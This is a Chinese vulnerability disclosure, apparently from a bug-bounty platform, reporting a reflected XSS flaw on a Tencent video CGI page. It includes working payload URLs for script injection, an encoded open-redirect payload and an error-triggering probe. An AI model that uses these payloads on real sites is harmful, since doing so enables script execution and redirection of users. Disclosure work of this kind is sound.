简要描述:

由于把传入的参数直接写在js 代码里面,造成xss漏洞

详细说明:

http://cgi.video.qq.com/v1/user/userinfo?u=611991217;alert(/ss/)
查看源码:
<script>
var mh_pageName = "user/userinfo?u=611991217;alert(/ss/)";
var m_type = 0;
var mh_cuin = 611991217;alert(/ss/) ;
</script>
由于编码处理了 ' " 等符号,但依然可以通过URL传值。如:
http://cgi.video.qq.com/v1/user/userinfo?u=611991217;var str=window.location.href;var es=/url=/;es.exec(str);var right=RegExp.rightContext;window.location.href=right&url=http://www.hao123.com
编码参数后即:
http://cgi.video.qq.com/v1/user/userinfo?u=%36%31%31%39%39%31%32%31%37%3B%76%61%72%20%73%74%72%3D%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3B%76%61%72%20%65%73%3D%2F%75%72%6C%3D%2F%3B%65%73%2E%65%78%65%63%28%73%74%72%29%3B%76%61%72%20%72%69%67%68%74%3D%52%65%67%45%78%70%2E%72%69%67%68%74%43%6F%6E%74%65%78%74%3B%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%3D%72%69%67%68%74&url=http://www.hao123.com
会自动转到 http://www.hao123.com,或其他方式利用,利用已引入的js。
还存在一个奇怪的问题,就是输入这样的:
http://cgi.video.qq.com/v1/user/userinfo?u=611991217;window.location.href=0x12
会出现CGI错误:
An error occured:
CGIException
